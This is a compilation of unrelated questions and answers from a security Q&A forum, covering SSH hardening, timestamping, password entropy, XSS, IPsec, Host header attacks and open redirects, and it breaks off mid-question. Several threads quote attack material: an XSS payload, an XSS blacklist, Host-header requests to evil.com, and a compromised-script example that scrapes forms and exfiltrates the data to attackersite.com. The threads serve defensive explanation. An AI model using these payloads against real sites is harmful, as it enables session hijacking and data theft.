You're correct to say that there is unlikely to be a large increase in risk, so long as you keep control of the CA key that is.

Basically if someone got control of the CA key used by burp, they would be able to carry out a MITM attack on your phone as it would see certificates issued by that CA as valid.

However, as you say, the key is unique to each installation of burp, so as long as you don't lose the key in question, then an attacker won't be able to misuse it.


Server for School Coding Assignments An introductory C++ course is offered every year in our university.
In order for students to code in C++ and submit their assignments, we give them shell access to a Linux server. They use ssh to log in to the server with their accounts, do the coding and keep the compiled code in their home directories. However, giving shell access brings in a number of vulnerabilities with it.
My question is, Is there any other way, apart from giving shell access to students, in which we can fulfil the above mentioned purpose? Any server side tool/application that can provide an interface to students for doing their c++ assignments without compromising server security?

What you need is relatively simple: you need to ensure that your students' unprivileged accounts are well confined. If you don't have a graphical environment involved, your situation is relatively simple. You should start by implementing the following actions:

ensure users are created without administrative privileges (no sudo, no admin or wheel group)
ensure users are unable to emulate a login screen to spoof your login screen (a classic for university, which I've seen happen)
ensure proper polkitd policy which prevents users from suspending/shutting down the host
ensure you don't run vulnerable/outdated suid/sgid services on the host (see how to list them)
ensure no individual user can deplete the resources of the system (by configuring Systemd.cgroup to impose resource usage limits on the entire session of each user)
strengthen your mandatory access control by installing and configuring properly SELinux (to limit students to a student role where they can only write in their home and in /tmp)
expire accounts when necessary to avoid lingering accounts with eventually compromised passwords (see this question on the Unix site)
you can even run students' sessions in separate containers using Systemd.nspawn which is designed to run fully working systems independently from one another, using Linux namespaces. This is the proper way to jail a session, not chroot

You might then notice that students use the machines for other purposes than those allowed. You can limit access to machines to specific times using pam_time though that might get in the way of students getting their work done and should be balanced against the benefits it provides. Also, make sure that your network administrators know what traffic to expect on this host so they can detect undesirable traffic.

All of this being said, I don't see the point in white-listing specific binaries (useless since students can compile and run their own code) as it may get in the way of students using legitimate development tools, e.g. alternative compilers, building toolchains, code analysis tools, code versioning tools, etc.

As long as users can only harm themselves and you've got strong guarantees of that, the job is done. This isn't exactly a long-term production system anyway, students are only using it to fool around with educational code.


How to prove a picture was taken before a certain date? I need to prove that all my pictures were taken before a certain date.  Is uploading them to Picassa, Flickr or a similar service a good way to achieve such timestamping?

In general, the problem of Secure Timestamping is actually a complex topic with no single right answer. There are two general approaches: 1) a trusted "Timestamping Authority" keeps logs of when stuff happened and everybody believes them because that's literally their job. 2) Using cryptography in some way. In general the crypto approaches don't work very well and can only prove that photo A was logged before photo B, but not the exact time.

There are lots of companies on the market who offer timestamping services based on one of these two approaches. How much you want to trust them depends on how transparent the company is with their practices, and what local law apply.

So, for your situation: it sounds like somebody is requiring you to do this (maybe for legal reasons?). You should find out level of trust they need in the timstamping authority. What you have come up with is to use Picassa or Flickr as a trusted Timestamping Authority. Depending on what you need the timestamp for, that might be ok. For example, if it's your friend to win a bet, then the upload time on Picassa or Flickr is probably fine. If this is to prove ownership of multi-billion dollar real estate holdings, then you may want to involve a notary.

Basically, ask yourself this question: is the dollar value that you stand to gain or lose greater than what it would cost to hack or bribe Picassa into changing a timestamp? If no then you're fine. If yes, then you need a more official timestamping service.


How easy is it to crack gpg with private key, but without password I was wondering if an adversary have your private gpg key but not the password/phrase, how easy/difficult would it be to crack a encrypted file compared to a encryption that only use password and not keys? (assuming that the password was the same).

would a compromised keyfile make it easier to crack the encryption, than a encryption that don't use keyfiles or would it equal out?

An example could be a gpg encrypted file where the private key has been stolen and a file encrypted with AEScrypt.

If you have a GPG private key  that is locked with a password, "cracking" the key reduces to password guessing.  There's a easy equation to answer that; what's hard is that there are two unknowns: the number of bits of entropy in the password and the number of guesses per second at attacker can make.

Example:  There are 96 printable ASCII characters.  Log2(96) is about 6.6.  Given an eight character ASCII password, truly randomly generated, one would have 6.6x8=52.8 bits of entropy.  If an attacker can make a billion (230) guesses per second, it will take about 222.8 seconds or about 84 days to try all combinations.  Since we expect an attacker to "hit" about halfway through, average time to crack will be around 42 days.

If, instead, the password is one of the top 10,000 (and crackers have lists!) you have about 13.3 bits of entropy and cracking will succeed in less than a second.

Finally, suppose you used Diceware with a 6 word pass phrase.  You'd get 66 bits of entropy and cracking would take about  235 seconds, or over a thousand years.

You can repeat the arithmetic with other values of guesses per second.

There are two important things to glean from this.  First, if private key is locked with a password and the attacker has access to the locked private key, cracking is all about the password, and not about GPG or public key crypto at all.  Second, every bit of entropy added to a password approximately doubles the time to crack it by brute force.

For an AES key derived from a password, the calculations are the same.  However, an AES key does not have to be derived from a password.  It can be randomly generated.  For 128-bit AES, the brute-force attacker will take 2128-30-1 = 297 seconds.  That's about 5,000,000,000,000,000,000,000 years.


Dangers of XSS on the server-side vs client-side I was looking here, and I understand that reflected-DOM XSS(Client-side XSS) does not go through a server-side  script but Reflected XSS (Server-side XSS) does, but neither hits/gets stored in the database. But I am confused on what one injection can do that the other can't. What are the dangers of XSS going through a server-side script vs being injected right into the client's page (the script still runs on the client side regardless)? In addition, is there such a thing as a persistent-DOM XSS(client-side XSS) injection, if how?

The impact of XSS is the same regardless of whether it is stored/reflective or DOM-based/server-side - the attacker gets full control of the web session. Stored XSS is more readily exploitable (you don't need to get a user to click a link) so it's more serious. Whether a vulnerability is DOM-based or server-side doesn't greatly affect the severity.

You can have stored DOM-based XSS. As an example, consider a e-commerce site that allows users to post reviews of products. It's a single page application, so when you view a product, the JavaScript sends an Ajax request to fetch product information. The Ajax back-end returns JSON properly escaped, so it's not vulnerable. However, the JavaScript renders the returned data as HTML. This creates an XSS vulnerability: a malicious user can submit a review containing an XSS attack, and when a victim user views that product, the XSS payload executes in their browser.


run through the entire space of keys Quoting from https://en.wikipedia.org/wiki/Key_size

  With a key of length n bits, there are 2n possible keys. This number grows very rapidly as n increases. The large number of operations (2128) required to try all possible 128-bit keys is widely considered out of reach for conventional digital computing techniques for the foreseeable future.

Why is the formula 2 to the power of (whatever the key size might be)?

A bit is a single 0 or 1. So if you have a 1-bit key, you have just two possibilities: 0, or 1.

If you have a 2-bit key, you have two possibilities for the first bit, and two for the second bit. This gives you 2*2 = 4 possibilities. They are 00, 01, 10, and 11.

If you have a 3-bit key, you have two possibilities for the first bit, two for the second bit, and two for the third bit. This gives you 2*2*2 = 8 possibilities. They are 000, 001, 010, 011, 100, 101, 110, and 111.

So as you can see, the general formula is 2^n possible keys.


Affordable infosec training for a small organisation Does anyone have any suggestions for infosec training for a small company (circa 7 employees).
I would be looking for general information security awareness plus specific training for securely working with databases (MySQL specifically).
Everything I've looked at is aimed at large organisations and is outside of our budget.

About the security awareness
Many governments publish infosec guidelines dedicated to companies.
Consider consulting:

https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-50.pdf
https://www.nist.gov/topics/cybersecurity/national-cyber-security-awareness-month/resources

About the technical skill
Many security challenge websites are free and let your employees learn a lot with fun. I think it's the perfect approach for a small company as this can be managed as a game during the breaks of the day.
I know root-me.org which has dedicated categories (web server, web client, app script, ...)
Another interesting freemium resource is https://pentesterlab.com/ which has a rich catalog of free infosec courses.
A more scholar approach should be to let your employee read the CIS benchmarks guidelines for servers and programs (including mysql) : https://www.cisecurity.org/benchmark/oracle_mysql/ (free but need registration) and the OWASP ASVS framework (for general purpose Web security): https://owasp.org/www-project-application-security-verification-standard/
Finally, you could register to a free (or paid if you have the budget) bug bounty program (hackerone, yogosha, openbugbounty, ...) and learn from the vulnerabilities found by the community.


How secure are native iPhone - PUSH Services The native app is sending the UDID to the service provider in order to receive push notifications through APNS. How is it possible to prevent tampered requests (modified UDID) from getting processed by the service provider?

Scenario: an attacker may modify the UDID of the request sent to the service provider, thereby filling the victim device with unnecessary push notifications.

Firstly, it's not the UDID that gets sent most of the time, it's an opaque "device token" that's specific to that device's use of the particular push service. You can see that in the documentation for push notifications.

According to this documentation, the connection to Apple is authenticated and encrypted using TLS. It's only if your private key is compromised that someone can register devices or send push notifications on your service's behalf. Also, through some undocumented procedure, Apple's side of the service is monitoring for such misuse.


Are VIA CPUs vulnerable to Spectre/Meltdown attacks? I couldn't find any information about the recently published Spectre/Meltdown attacks affecting VIA CPUs.

Are they also affected by this vulnerabilities?

VIA's global market share in below 1%, therefore they are not even mentioned.

As the "VIA Nano" generation from 2008 onward, is able to do out-of-order execution (https://en.wikipedia.org/wiki/VIA_Nano), it could be highly possible, they are affected as well.

With respect to their ARM-based products, Cortex A8 and A9 were used there, so they would be vulnerable.


Encrypting text data by replacing characters? I have been thinking on this method but did not really get into it because I thought it was stupid to do for some reason, maybe because I've never heard of it and it's pretty obvious. But today I got a little more into it and thought about it.

If I want to securely speak with a mate on the Internet with a program I made specially for this, which only we have. The program makes my computer connect to his computer or vice-verse and transfer data.

Now the thing is, to make it simple, let's say we only use English language without any symbols, just lower-case characters.

We can set for example that a will equal to gH5S and so on, and at the end we will receive a long text of gibberish, and on top of that we will have an RSA encryption before it's sent out.

I understand, the hacker after decrypting  the RSA data he can split the text into pieces that repeat itself like the gH5S but there are many characters used, how can he know which split is what character? He needs to guess the words and somehow be sure, and there are tons of possibilities to build words.

There's an example simple program in Java to explain this:

public class Test {
    static String[] replacements = new String[] {
            "abK98", "HGD3x", "aRfXZ", "hdZdgb", "eDzfh", "aieSZ3", "iLz5",
            "zH4", "ab98", "abK2398", "a5568", "ACz98", "loW91", "ZmKuJ",
            "azS6D", "ZcfZS", "dFXze", "FszXF", "rXzFttX", "fdXRS", "52aF",
            "ZaWRQ", "qPweQ", "dWtQY", "puEz", "ZdeA"
    };

    static String space = "lKi89";

    public static void main (String[] args) throws java.lang.Exception
    {
        StringBuilder encrypted = new StringBuilder();
        String text = "hello i really like to program and be on stackexchange";

        for (int i = 0 ; i < text.length(); i++) {
            char c = text.charAt(i);
            if (c == ' ') {
                encrypted = encrypted.append(space);
                continue;
            }

            int idx = Character.getNumericValue(c) - 10;
            encrypted = encrypted.append(replacements[idx]);
        }

        System.out.println(encrypted.toString());
    }
}

The replacements array, first index is a and last one is z by order.
And this is the output:

zH4eDzfhACz98ACz98azS6DlKi89ab98lKi89FszXFeDzfhabK98ACz98ACz98puEzlKi89ACz98ab98a5568eDzfhlKi89fdXRSazS6DlKi89ZcfZSFszXFazS6DiLz5FszXFabK98loW91lKi89abK98ZmKuJhdZdgblKi89HGD3xeDzfhlKi89azS6DZmKuJlKi89rXzFttXfdXRSabK98aRfXZa5568eDzfhdWtQYaRfXZzH4abK98ZmKuJiLz5eDzfh

Is that a bad method? can this be easily decrypted by spying on the data? How?

Is that a bad method? YES.
Can this be easily decrypted by spying on the data? YES.
How? Standard cryptographic analysis as been done in wars like WW2 and before.

Essentially what you got is a variation on the Caesar cipher. Simple statistical analysis will quickly identify your 'letters'. and as soon as that is done, its only a matter of getting enough data through the line to be able to do pattern recognition on words (like identifying the vowels and such). Then its a matter of educated guesses of certain words and meaning and viola you have broken the cipher. As been stated over and over again: do not roll your own crypto. Cryptography is really really hard. and even the experts get it wrong (OFTEN)


IPsec: Is AH in tunnel mode secure? I have a site-to-site IPsec VPN which was performing poorly (10 -20% upload/download speeds as a percentage of available WAN circuit bandwidth) when using ESP in tunnel mode with DES encryption and MD5 Auth.  After switching the Active Protocol to AH still in tunnel mode but now using SHA-256 for Authentication, I see a threefold increase in throughput across the VPN.  I think the AH has a much lower overhead thanks to no encryption being performed on the packets.  But isn't the data still being inherently encrypted since it is in tunnel mode?

The real question boils down to, "Is my data still secure in AH mode?"  If so, this increased throughput is wonderful and I would like to keep my endpoint settings this way.  If not, it's obviously not worth it and I need to revert to the previous ESP protocol.

Gateways are Zyxel Zywall USG 200s at sites ~3000 miles apart.  Thanks in advance for your time.

It is not "secret", but it is "tamperproof".  That may not meet your definition of "secure".

Your data is no longer confidential if only AH is used - anyone capturing packets can read your data because it is not encrypted.  It is protected against modification, however; AH ensures that data tampering will be detected and discarded.

AH does not "inherently encrypt"; a "tunnel" does not imply encryption, although often if people are using tunnels they do so mostly so they can use encryption.

You might want to read some high-level descriptions:

AH guarantees connectionless integrity and data origin authentication of IP packets
ESP provides origin authenticity, integrity and confidentiality protection of packets


Overview of Java Server Security Issues My goal is to understand, which security issues will arise, when I use old java 8 versions on my server applications. There are lots of java security issues, but most are only relevant for client applications.

  This vulnerability does not apply to Java deployments, typically in servers ...

There is a similar question. But:

The question is outdated
Of course you should patch all software to get maximum security. But in practise upgrading software is sometimes associated with high costs. Therefore you have to explain your management why there is a security issue and what impacts do arise.

So my questions:

Are there any lists with java security issues which are only relevant for server applications?
Are there any guides regarding this topic?

EDIT

Jdk8 support will end in 2020. Perhaps we can estimate what security issues may arise in the future, when we know what kind of security issues have been in the past. (I know that's not a good question, but I don't live in an ideal world)
Jdk8 public support has already ended. If there are servers with an old jdk. Should these updated to the commercial jdk8?

If you go straight to the source, there is a column for notes. I don't know if there is a collected works.
Notes 1 and 3 in Oracle security advisories for Java SE is for this.

1. [...] This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data
to the APIs.
3. This vulnerability can only be exploited by supplying data to APIs in the specified Component without using Untrusted Java Web Start
applications or Untrusted Java applets, such as through a web service.

It's quite difficult to explain the difference concisely to the intended audience. Previously advisories used the terms "client" and "server". Note 2 is only for deployments that "load and run untrusted code", which is to say where the SecurityManager is used as intended, such as RMI.
I don't think many people get much out of security advisories. I'm sure it's read mostly to give the impression that they are making an informed decision (they aren't).
Presumably a modularised Java SE 9+ deployment could skip updates in areas that it definite does not use.
Reduce the attack surface. Disable Java Serialization (narrow whitelist if you absolute must). Keep patched.


Access Control and Authentication using Facebook access tokens in a webapp I'm working on a mobile app with a web backend. We'd like to have users authenticate (log in) themselves through Facebook only, so we don't have to store passwords etc. and don't force users to create yet another account.

However, I'm having a little difficulty in seeing how this works. Right now, whenever a user logs in, Facebook returns an access token. I'd like to use this access token to make sure only this user is trying to read/write the data they should. The app uses the backend by issuing http requests (GET, POST, UPDATE and DELETE). My hunch is that I'd like to store this access token on the server, have the app include the token with each request and then compare the two.

Just sending the token as a url parameter seems stupid however, as I suspect this is very vulnerable to attacks, as anybody eavesdropping will immediately have this token and thereby access to everything in the app AND on the user's Facebook page.

Is there a better way of doing this securely? Or am I going about this in completely the wrong way?

You probably want to look at OAuth implementations.  This would not only allow you to use Facebook, but many other account providers for the login.  It is also an established mechanism for using third party accounts for authentication.


Online Marketing company want me to share my Google Account login details? We are a small business and use "Google Apps for Work" and my google apps account was used to set up the business's "Google My Business" and related Google+ pages

We have now engaged an online marketing company to manage the business's online local marketing. But they are asking us to share our Google Account login details so they can manage the business's "Google My Business" and related Google+ pages.

I have no issue letting them into any online marketing related tools such as the Google My Business account and related Google+ pages (and I presume they may also want access to our Google Analytics), but the same Google account login details would also give them access to my other Google business apps such as my gmail and google drive which I am very uncomfortable with.

How can I give them access to the google marketing tools, which were set up under my name, but not the more sensitive apps? What is the proper security practice to allow third parties to access the marketing tools?

With Google My Business (and related services) you can add/remove managers to the business account without having to share credentials. The marketing company would need to have or create a Google account that you can then add to your My Business account in the Managers tab of your settings. Note that only the Owner on the account can add new managers.


What are the risks associated with relying on Mutual SSL & IP Filtering? We are thinking of implementing Mutual SSL combined with IP Filtering because we are unable to setup a vpn within our external client. What are the risks associated with using Mutual SSL combined with IP Filtering?

Some possible concerns:

Is it vulnerable to ip spoofing?
Could less secure encryption mechanisms invalidate this setup?

So assuming that by "mutual SSL" you mean that each end of the connection will generate a set of SSL certificates and then they will validate each others certificate when the connection is brought up, issues like IP spoofing should not be a concern, as if an attacker is able to spoof the IP address (which is actually not a trivial undertaking for a TCP connection) they would not be able to complete the SSL handshake as they would lack the SSL private keys which match the certificates held by the other end.

Some things I can think of that you would need to consider with this set-up

Initial communication of the certificates for each end of the connection.  You need to ensure that these aren't tampered with in transit.
Configuration of the SSL cipher suites on each end of the connection. You'll want to configure the servers at both ends of the connection to ensure that they don't support weak ciphers or deprecated protocols (some ideas for web servers here)
You'll need to ensure that you have policies in place for revoking/re-issuing certificates when they expire or if there is a breach in the security of one of the servers.


Malicious query string removal ASP.Net MVC5 My web application is built with ASP.Net MVC5. One of the method accept query string params.   Security testing has reported that it accepts malicious query string and displays in the body without any modification.

the url including the Query parameters are added to the html output by the MVCContrib pager for pagination.

detailed description below

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7dc29"style="behavior:url(#default#time2)"onbegin="alert(1)"2d524 was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

I have a QueryString filter looks for blacklist entries @"</?\w+((\s+\w+(\s*=\s*(?:"".*?""|'.*?'|[^'"">\s]+))?)+\s*|\s*)/?>", "<img", "<iframe", "\";", "¼script¾", "embed src"

also i do sanitize the param using Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment()

My question: Is it enough to secure the XSS attack? Or how can I remove the malicious query string?

You should not be removing the malicious query string, but you should be encoding it correctly when output in the page. Blacklists are rarely the way to go in security as things are always changing and there will always be a new way around the blacklist discovered.

For example, if outputting an untrusted value to HTML it should be HTML encoded (" becomes &quot;) or if outputting to JavaScript it should be hex entity encoded (" becomes \x22). By untrusted, read any value where you can't guarantee the source (this means query string, form values, headers or even data from your database which you might think is "safe", but a value is only safe when viewed in the context of its output).

Checkout the OWASP XSS Prevention Cheat Sheet for more details on how to appropriately encode per output context.


Exploiting HTTP redirect function via the Host header I am testing a web application and found a redirect function which seems to be insecure. If I visit a non-existing page, then I am getting redirected to login page of application. However the redirect function can be exploited by setting custom Host header:

GET /temp/temp/nonexisting HTTP/1.1
Host: www.someevilsite.com

The server the responds with:

HTTP/1.1 302 Found
...
location: www.someevilsite.com/login

And simply redirects me to evil page. If it is possible to forge a remote user's Host header, and make him click a custom URL, then the user can be redirected to evil page, and potentially get his password stolen.

However, I can't seem to come up with a scenario in which I can compromise user's Host header. Are there any ways to manipulate user's Host header, considering website is over HTTPs?

This is an old question, but for the sake of completeness, I'll add some thoughts.
The reference in term of hosts headers attack is Practical Host header attacks (2013) and is still valid.
Attackers would quite certainly use the absolute-uri trick to inject the bad header and be sure to reach the right virtualhost. But in some cases, this is not even required (as may be in your current application, where any request with any Host header is accepted given that the HTTP query is made on the right IP)
# instead of
  GET /uri HTTP/1.1
  Host: good.name.com
# they would use
  GET http://good.name.com/uri HTTP/1.1
  Host: evil.com

And this could be exploited in mainly 3 ways (mainly, but that's open to more ideas):

cache poisoning: if your application feeds the page with a domain taken from the request (when rebuilding absolute URLs in HTML links) then there's maybe a chance that these bad domains end in the cached version of the page for /uri. Quite hard to perform (the cache may end up caching the page as http://good.name.com/uri and not /uri.
bad links in email: say your application is sending a password reset one-time link, with the URL taken from the host header, then the attacker could hope that someone will click the link with evil.com domain. But it means someone clicking on a reset password email link without asking for a password reset (as the attacker performed the bad query)
CRLF injection, as with all injected headers, one goal could be to get a response where a very bad host entry (containing CRLF, or %0d%0a (\r\n)) would be reused without filtering on the response headers. Leading to headers injection in the response.

As @Steffen Ullrich noted there's no way to lead an innocent user to perform the attack (especially because the browser uses the hostname DNS resolution to find the IP of the web server). So the only victim seems to be the attacker. But anyway, the attack target is asynchronous. It's not like an XSS attack, the target is not the user receiving the response. In cache poisoning it's quite obvious (target is the cache), in password reset email is used to carry the attack to the victim, and in CRLF injection we enter the HTTP response splitting and HTTP smuggling zone, where consequences are quite tricky, but they can lead to cache poisoning, deny of service, socket poisoning, incomplete requests, etc. The target is a reverse proxy, and the attack will later expand to other users via this proxy.


Attacker can check external IP from a SSRF vuln? I'm testing for SSRF vulnerabilities so my question is; can I check external IP (from another computer on the network) from a SSRF vulnerability?

I think SSRF vulnerability is actually used to gain information regarding the internal network and machines which otherwise are not accessible to outside world. Assuming the webserver which suffers from this vulnerability is inside a DMZ, then using SSRF you can perform port scan and know the status of ports and services running on those internal machines. When you say external IP(another computer on network) I assume you refer to other machine/host which is in the same network of that of the machine that host the webserver. In this case yes you can perform port scanning of that machine.


Content Security Policy: postMessage into foreign iframe Assume we have a webpage with sensitive data.  The page uses a marketing partner advertisingpartner.com which collects data via third-party cookies in a foreign iframe.  We have applied a relatively strict CSP:

connect-src 'self';
frame-ancestors 'self';
frame-src 'self' https://advertisingpartner.com;
media-src 'self';
object-src 'none';
script-src 'self' 'unsafe-inline' https://advertisingpartner.com;
style-srce 'self' 'unsafe-inline';

The marketing script is then loaded via a normal script tag and injects an iframe.  Now suppose that the marketing partner is compromised, and code is added to create an instance of the tracking iframe:

var data = scrape_sensitive_data_from_forms();
var frame = document.createElement("iframe");
frame.id = "attackerframe";
frame.style.display = "none";
frame.onload = function() {
  document.getElementById("attackerframe").contentWindow.postMessage(data, "https://advertisingpartner.com");
};
frame.src = "https://advertisingpartner.com/trackingframe.html";
document.body.appendChild(frame);

Their tracking frame has appropriate message-receiving capabilities added to retrieve and exfiltrate the data.  It is under a different domain than the main site and thus does not have the CSP applied to it:

function receiveMessage(event) {
  var req = new XMLHttpRequest();
  req.open("POST", "https://attackersite.com/collectsensitivedata.php", true);
  req.send(event.data);
}

window.addEventListener("message", receiveMessage, false);

What can save me from this attack?

You allow the advertising partner’s code in the context of your page, giving it full access to the DOM and everything on the page. If the script is compromised and you load it there isn’t much you can do. There is however, a way to detect if the script you are including has been altered from a previously known state. This is called Subresource Integrity.

This way, if your partner is compromised and his script has changed you instruct the browsers not to load it. This obviously has its drawbacks.

For one, your partner won’t be capable of updating their script on your site without your help (unless they use the loader which inserts scripts).

If the partner is using a loader with SRI that will work. The loader loads other scripts, hopefully with SRI. You can use CSP’s require-sri-for directive to demand SRI for all resources.

Keep in mind though, if the partner is compromised and the loader behaves dynamically, even with SRI, he will most likely be able to run malicious scripts on your site. He simply needs to generate the integrity tags for the malicious scripts.

  What can save me from this attack?

Your best bet is to utilize SRI for their script and hope it is static. If however, it behaves dynamically (loading other scripts, inserting an iframe and communicating with it) then there isn’t much you can do.

As an alternative you can ask them to create a compact version of the script for you and host it yourself.


can you have reflective xss through a POST parameter? While testing a dummy app, I noticed that the XSS done through POST parameters was getting stored in the form (the alert('XSS') would show every time I loaded the page where I had injected the payload). Is it possible to have reflective XSS through POST requests?

The HTTP method does not matter for Cross Site Scripting attacks (XSS). It is even possible to get XSS trough the HTTP TRACE method.

  Is it possible to have reflective XSS through POST requests?

Most definitely!


Deobfucate java code by running it Can I deobfuscate java code (apk, that contains obfuscated code, or java bytecode), when running it?
If android gets able to run code, so he must get those keys, and get access to code which to run.
How I can intercept (read), code android is executing, but not to be assembler, where it's still obfuscated.
I have rooted android, and want to pentest my app, to check if someone can access my server credentials which are obfuscated with proguard and other obfuscators.
Or another way around is it possible to obtain keys from apk itself.
EDIT I use TCP/IP socket to communicate with my server from the app (which has SSL, SSL works as intended when I check via Wireshark). The server I use is used as a download for the app (it downloads modules needed for app to function), so the server is used as a database for app, when the app downloads data (modules) from the server, app can function offline (so, only internet connection it uses is through the server to get data, modules).
Server credentials are hardcoded in only one place, one method, and I obfuscated it (from standard decompilers (dex2jar, enjarify, cfr, procyon), it doesn't decompile that method, even if all other code can be decompiled, it just shows throwOnError from the decompiler and show assembler, but, it's obfuscated, and assembler code don't show any sensitive code (like hardcoded credentials).
That method is responsible for downloading modules from a server, so it contains credentials, which can be used in a method to download (as the server is only needed for app for the internet)
I didn't store credentials in any sort of file, or anything that would suggest it, it's only in that one method that I obfuscated. But would like to know, if it's possible to extract from RAM, even if it uses SSL, how I can do it.
And I want to test this, because I don't want someone to crack into, and take over my server because app has credentials for server access, I want my app secure = peace of mind for my server.

We don't know where your server credential are stored.
But obfuscation is about the code, not the data of various non-code file or memory. And even if your credentials are hardcoded, they won't be changed by an obsfucator.
Whatever the way your credential are handled at some point those credential will be load up into memory before being sent to your server for authentication. Which mean as long as someone can have access to the full memory (running a android simulator for instance) they could get those credentials.
Also if you're not using SSL to communicate with your server, simply listening the network will permit to catch those credential.
The main question is, why are you using those server credentials ? To limit the access of your API to your server against simple bot or against the FBI ? As long someone is motivated enough, he will be able to figure out your API. But do you really need to protect let's say against a state agent trying to crack you ? You will lose.
Security is about risk management, so first determine what reasonable risk you want to handle.
Edit : about the TCP/IP connexion
There isn't much I can answer from this, however if you want to protect the privacy of your users, then your server credentials aren't enough. To me the only point of your server credentials is to disallow an easy access to your server API.
Now if you want to protect the data of your user from another user (from the point of view of your server), then your user should have their own login/password that grant them access to their data from your app. And your server code must make it not possible to access user datas if not authenticated as the correct user when using the public API.
Of course as an administrator you might need access for administration purpose (debug, check backups, stats,...). But then it would be preferable that those aren't part of the publicily exposed API, instead you could setup a protected SSH connexion and do your stuff when directly connected to your server.
I don't think there is much more I can say.


Recently set up a server, Need security help I set up a server running debian I opened port 22 allowing access to ssh into the port.  I keep getting weird messages in my router log saying:  [LAN access from remote] from 211.161.46.101:57201 to 10.xx.xx.xx:22

I looked up the IP address and it said something about being from Beijing.  Am I being hacked?  I changed the password on the server login once already and now its saying the same thing but with a different IP address.

There are four things I would recommend to keep your SSH more secure and prevents attacks like that. I can't necessarily say if he actually made his way into your box, or if he just attempted and failed, but definitely change some of these options so it'll be much harder for something like this to happen in the future.

Disable root logins: You want to make sure if someone is logging in through SSH, they won't be able to have root access right away
Enable Public Key Authentication: Sadly this part does take a little more time to implement, but it's much better and will definitely help prevent unauthorized logins.
Change the default port: This is a little more of security through obscurity but your server was more than likely found because there is a random bot scanner scanning random IPs for an open port(22). If you change it to something else(but preferably something under 1024), it's much less likely to be picked up by a scanner.
You can use a blacklisting program like DenyHosts or others that allow you to blacklist certain IPs after a certain number of failed attempts.

In terms of seeing of whether your server has been compromised, check your ssh logs. It'll let you know what usernames were attempted for login, and if they were successful in doing so.


Is it safe to redirect to URL parameter without filtering? A webpage redirects to an URL given in parameter redirect without filtering it, like this:

$newURL=$_GET["redirect"];
header('Location: '.$newURL);

login.php?redirect=home.php

If it echoes the input I know it's possible to perform a XSS attack, but can we inject code when it is just used in the header method? Is this a safe script?

The short answer
No. This is not safe, and should not be done. In fact, this is the last one of OWASP Top 10:

A10. Unvalidated Redirects and Forwards
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Phishing and spreading malware
An attacker could craft an URL to redirect to any page they want, and then spread it everywhere:
http://trusted.com/index.php?redirect=http%3A%2F%2Fmalicious.com

The malicious URL could be obfuscated to avoid detection by the user by URL encoding all character so you get a string like %68%74%74%70%3A%2F%2F%6D%61%6C%69%63%69%6F%75%73%2E%63%6F%6D.
Now a user clicking what looks like an ordinary safe link to your site might end up anywhere:

On a site looking exactly like yours, asking for username and password. Boom, accounts stolen.
A site spreading malware by drive by downloads. You could try to claim this is not your problem, since it is technically not your site spreading it. I am not sure the victim would agree.
Just anything. Do you want users clicking links to your site and ending up on illegal or NSFW or NSFL content?

If this is done after the user logins, as you hint at in the question, it is even more dangerous since actually being on your page entering the credentials strengthens the users belief that he is actually on your site. It would be so easy to serve an "incorrect password, try again" type of page after the login.
Header injection
As already stated by Steffen Ullrich in his answer to this question and me in this answer to another question, on PHP versions older than 5.1.2 this could be used for header injection.
What to do instead
Whitelisting or validation
As so often, the solution is to whitelist. Here is an PHP example:
$param = $_GET["redirect"];
$allowed = array(
    "index" => "index.php",
    "blog"  => "blog/index.php",
    // ...and so on...
);
$redirect = isset($allowed[$param]) ? $allowed[$param] : "index.php";
header('Location: '.$redirect);

This will be tedious if there are many pages you want to be able to redirect to. Depending on what your URLs look like, you could validate URLs for your own site. For instance if they are on the form http://trutsted.com/?pageid=1234 you could accept only the pagied to redirect to and verify that it is in fact numeric.
Referer check
If you only want the redirect links to work from within your own site, you could check the HTTP referer heading of the request. This might run into some issues if you serve your site over both HTTP and HTTPS, since if you link from a HTTP page to an HTTPS page the referer header will not be sent.
Here is some example code:
$headers = apache_request_headers();
$referer = isset($headers['referer']) ? parse_url($headers['referer'], PHP_HOST) : "";
if($referer == "trusted.com") {
    //Do the redirect. If you want your code to be safe on old PHP versions,
    //you will need to filter out newlines or just URL encode the URL.
}
else {
    //Inform the user of the problem or just redirect to your index page.
}

More reading

OWASP cheat sheet on unvalidated redirects. (One of the examples on how not to do it here is alwmost identical to how you did it in your question.)
Troy Hunt has a great piece on this topic.


Why does Windows windows suggest/have completely different (and seemingly valid) intermediate CA certs for a given leaf cert? Is it normal for multiple intermediate CA certs to have the same Subject Key Identifier?  Why does this happen? I always thought that this was a unique attribute.

I have come across some odd cases where the intermediate CA that Windows suggests (under the Certification Path section of Crypto Shell Extensions) belongs to a different chain sequence than the one that the certificate authority provided.

For example, here are two GoDaddy Intermediates. "Issued To:" is the same but "Issued By:" is different:

If I check the Subject Key Identifier for both, they're the same:

One seems to be a root but the other is an intermediate:

Windows is pre-loaded with one but the CA (GoDaddy in this case) gave me the other.

So, why do these exist and what is the difference between them?  Neither appear to be revoked and I didn't manually add any of these intermediate CA certs to my Windows trustStore.

You often find certificates with the same subject, public key and subject key identifier, but these differ usually in the signature algorithm or the issuer. Since the relevant details for chain validation are the same each of these can be used to built the trust chain, which often makes multiple trust chains possible. The hope is that at least one of these trust chains can be built for all relevant clients.

Such "duplicate" certificates happen if a certificate get re-signed with a new signature algorithm (i.e. move from SHA-1 to SHA-256). It is also done for new CA like Let's Encrypt which are not inside the trust store of all OS/browsers when they start. Thus they create two similar certificates: one self-signed for inclusion in the trust store and another one cross-signed by an already trusted CA. For an example of such cross signing the the description of the certificates used by let's encrypt.


Do you need to validate compensating controls of a certified organization? Our web application uses Google's G Suite Single Sign-on for authentication into our application. As part of writing documentation around compensating controls, the PCI DSS requires "Validation of Compensating Controls" (Note that we're not being assessed for PCI compliance, we're literally just documenting the points listed for Compensating Controls)

